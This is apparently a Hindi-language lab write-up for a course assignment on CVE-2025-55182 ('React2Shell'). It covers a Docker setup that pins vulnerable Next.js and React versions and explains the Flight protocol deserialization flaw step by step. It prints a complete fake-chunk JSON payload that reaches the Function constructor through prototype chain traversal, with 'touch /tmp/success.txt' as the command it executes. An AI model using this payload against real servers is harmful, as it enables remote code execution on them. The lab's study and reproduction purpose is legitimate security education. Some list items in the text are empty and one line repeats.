
उर्फ React2Shell
असाइनमेंट दिशानिर्देशों द्वारा आवश्यक अनुभागों को “(Required)” से चिह्नित किया गया है।
यह वातावरण आधिकारिक Node.js Alpine इमेज पर आधारित एक कस्टम Dockerfile का उपयोग करता है।
FROM node:20-alpine
WORKDIR /app
COPY package.json ./
RUN npm install --legacy-peer-deps
COPY . .
EXPOSE 3000
CMD ["npm", "run", "dev"]
Dockerfile एक कमजोर React Server Components (RSC) और Next.js App Router वातावरण बनाता है।
वातावरण निम्नलिखित के कमजोर संस्करण स्थापित करता है:
कमजोर सर्वर npm run dev का उपयोग करके डेवलपमेंट मोड में चलता है।
कमजोर सर्वर npm run dev का उपयोग करके डेवलपमेंट मोड में चलता है।
वातावरण निम्नलिखित संरचना का उपयोग करके संचालित होता है:
[Attacker / exploit.py]
↓
[Next.js App Router]
↓
[React Flight Protocol Parser]
↓
[React Server Components Runtime]
↓
[Node.js Runtime]
हमलावर कमजोर Next.js एप्लिकेशन को एक विशेष रूप से तैयार multipart/form-data अनुरोध भेजता है।
दुर्भावनापूर्ण पेलोड React Flight प्रोटोकॉल डिसीरियलाइज़ेशन प्रक्रिया का दुरुपयोग करता है।
कमजोर एप्लिकेशन Next.js App Router आर्किटेक्चर का उपयोग करता है।
अनुरोध React Server Components पाइपलाइन के माध्यम से संसाधित किया जाता है।
एप्लिकेशन का सोर्स कोड src/app/ निर्देशिका के अंदर संग्रहीत किया जाता है।
src/
└── app/
├── layout.js
└── page.js
layout.js फ़ाइल App Router संरचना के लिए आवश्यक रूट लेआउट को परिभाषित करती है और React Server Components वातावरण को आरंभ करती है।
export default function RootLayout({ children }) {
return (<html><body>{children}</body></html>);
}
page.js फ़ाइल / पर प्रस्तुत किए जाने वाले रूट पेज को परिभाषित करती है और एक सरल संदेश प्रदर्शित करती है जो दर्शाता है कि कमजोर सर्वर चल रहा है।
export default function Page() {
return (<h1>Vulnerable Server</h1>);
}
प्रोजेक्ट निर्भरताएँ और निष्पादन स्क्रिप्ट package.json फ़ाइल के माध्यम से प्रबंधित की जाती हैं।
{
"name": "cve-2025-55182-vuln-app",
"version": "1.0.0",
"private": true,
"scripts": {
"dev": "next dev -p 3000"
},
"dependencies": {
"next": "15.0.0",
"react": "19.0.0-rc-65a56d0e-20241020",
"react-dom": "19.0.0-rc-65a56d0e-20241020",
"react-server-dom-webpack": "19.0.0-rc-65a56d0e-20241020"
}
}
यह फ़ाइल निम्नलिखित के कमजोर संस्करणों को परिभाषित करती है:
कमजोर एप्लिकेशन का उपयोग करके निष्पादित किया जाता है:
"scripts": {
"dev": "next dev"
}
सर्वर के माध्यम से शुरू किया जाता है:
npm run dev
जो पोर्ट 3000 पर कमजोर Next.js डेवलपमेंट सर्वर को लॉन्च करता है।
Flight प्रोटोकॉल जटिल React ऑब्जेक्ट्स को डिसीरियलाइज़ करता है जैसे:
इस डिसीरियलाइज़ेशन प्रक्रिया के दौरान भेद्यता उत्पन्न होती है।
React रनटाइम हमलावर-नियंत्रित Flight पेलोड को प्रोसेस करता है।
असुरक्षित प्रॉपर्टी ट्रैवर्सल और प्रोटोटाइप एक्सेस अंततः हमलावरों को Function कंस्ट्रक्टर को हाईजैक करने की अनुमति देते हैं।
सफल शोषण के बाद, Node.js सर्वर वातावरण के अंदर मनमाना JavaScript कोड निष्पादित होता है।
यह रिमोट कोड एक्सिक्यूशन (RCE) की ओर ले जाता है।
| घटक | संस्करण |
|---|---|
| Node.js | 20-alpine |
| Next.js | 15.0.0 |
| React | 19.0.0-rc |
| react-dom | 19.0.0-rc |
| react-server-dom-webpack | 19.0.0-rc |
वातावरण कमजोर React Server Components और Flight प्रोटोकॉल कार्यान्वयन का उपयोग करता है।
CVE-2025-55182, जिसे React2Shell के नाम से भी जाना जाता है, एक गंभीर रिमोट कोड एक्सिक्यूशन (RCE) भेद्यता है जो React Server Components और React Flight प्रोटोकॉल को प्रभावित करती है।
यह भेद्यता हमलावर-नियंत्रित Flight प्रोटोकॉल पेलोड के डिसीरियलाइज़ेशन प्रक्रिया के दौरान उत्पन्न होती है।
यह समस्या हमलावरों को अनुमति देती है:
यह भेद्यता विशेष रूप से खतरनाक है क्योंकि इसका शोषण एकल तैयार HTTP अनुरोध का उपयोग करके प्रमाणीकरण के बिना हो सकता है।
कमजोर React Server Components और Next.js App Router कॉन्फ़िगरेशन का उपयोग करने वाले एप्लिकेशन सीधे उजागर होते हैं।
भेद्यता का मूल कारण Flight प्रोटोकॉल डिसीरियलाइज़ेशन के दौरान हमलावर-नियंत्रित ऑब्जेक्ट संदर्भों का असुरक्षित हैंडलिंग है।
React Flight आंतरिक रूप से विशेष संदर्भ स्ट्रिंग का उपयोग करता है जैसे:
$@0
$B1337
$1:__proto__:then
ये संदर्भ डिसीरियलाइज़ेशन के दौरान पुनरावर्ती रूप से हल किए जाते हैं।
कमजोर तर्क इसके समान प्रॉपर्टी ट्रैवर्सल करता है:
value[path[i]]
यह जांचे बिना कि प्रॉपर्टी ऑब्जेक्ट की अपनी है या नहीं।
परिणामस्वरूप, हमलावर खतरनाक JavaScript प्रोटोटाइप चेन प्रॉपर्टीज़ तक पहुँच सकते हैं जैसे:
__proto__
constructor
prototype
यह अंततः प्रोटोटाइप प्रदूषण और Function कंस्ट्रक्टर हाईजैकिंग की अनुमति देता है।
हमलावर पहले एक नकली React चंक ऑब्जेक्ट बनाता है।
{
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": "{\"then\":\"$B1337\"}",
"_response": {
"_prefix": "touch /tmp/success.txt",
"_chunks": "$Q2",
"_formData": {
"get": "$1:constructor:constructor"
}
}
}
महत्वपूर्ण फ़ील्ड है:
"status": "resolved_model"
React रनटाइम गलत तरीके से इस फ़ील्ड पर भरोसा करता है और हमलावर-नियंत्रित ऑब्जेक्ट को एक वैध आंतरिक चंक ऑब्जेक्ट के रूप में मानता है।
पेलोड:
$1:__proto__:then
डिसीरियलाइज़र को JavaScript प्रोटोटाइप चेन को ट्रैवर्स करने का कारण बनता है।
क्योंकि कमजोर कोड खतरनाक प्रॉपर्टीज़ को मान्य नहीं करता, हमलावर को एक्सेस मिलता है:
Chunk.prototype.then
यह नकली चंक को एक thenable ऑब्जेक्ट में बदल देता है।
पेलोड:
$1:constructor:constructor
अंततः हल होता है:
Function
यह प्रतिस्थापित करता है:
response._formData.get
ग्लोबल JavaScript Function कंस्ट्रक्टर के साथ।
परिणामस्वरूप:
Function(attacker_controlled_payload)
संभव हो जाता है।
पेलोड:
$B1337
React Flight पार्सर को Blob पार्सिंग लॉजिक में मजबूर करता है।
इस प्रक्रिया के दौरान:
response._formData.get(...)
निष्पादित होता है।
हालाँकि, हमलावर ने पहले ही इस फ़ंक्शन को ग्लोबल Function कंस्ट्रक्टर से बदल दिया है।
यह अंततः Node.js रनटाइम के अंदर मनमाना JavaScript निष्पादन में परिणत होता है।
शोषण प्रक्रिया निम्नलिखित क्रम में होती है:
Attacker Request
↓
Flight Payload Parsing
↓
Fake Chunk Creation
↓
Prototype Pollution
↓
Function Constructor Hijacking
↓
Blob Parsing Trigger
↓
Promise Resolution
↓
Remote Code Execution
हमलावर पहले एक तैयार मल्टीपार्ट Flight अनुरोध भेजता है।
कमजोर सर्वर दुर्भावनापूर्ण पेलोड को डिसीरियलाइज़ करता है और हमलावर-नियंत्रित संदर्भों को पुनरावर्ती रूप से हल करता है।
असुरक्षित प्रोटोटाइप ट्रैवर्सल अंततः हमलावर को Function कंस्ट्रक्टर को हाईजैक करने की अनुमति देता है।
Promise रिज़ॉल्यूशन और Blob पार्सिंग के दौरान, मनमाना JavaScript कोड निष्पादित होता है।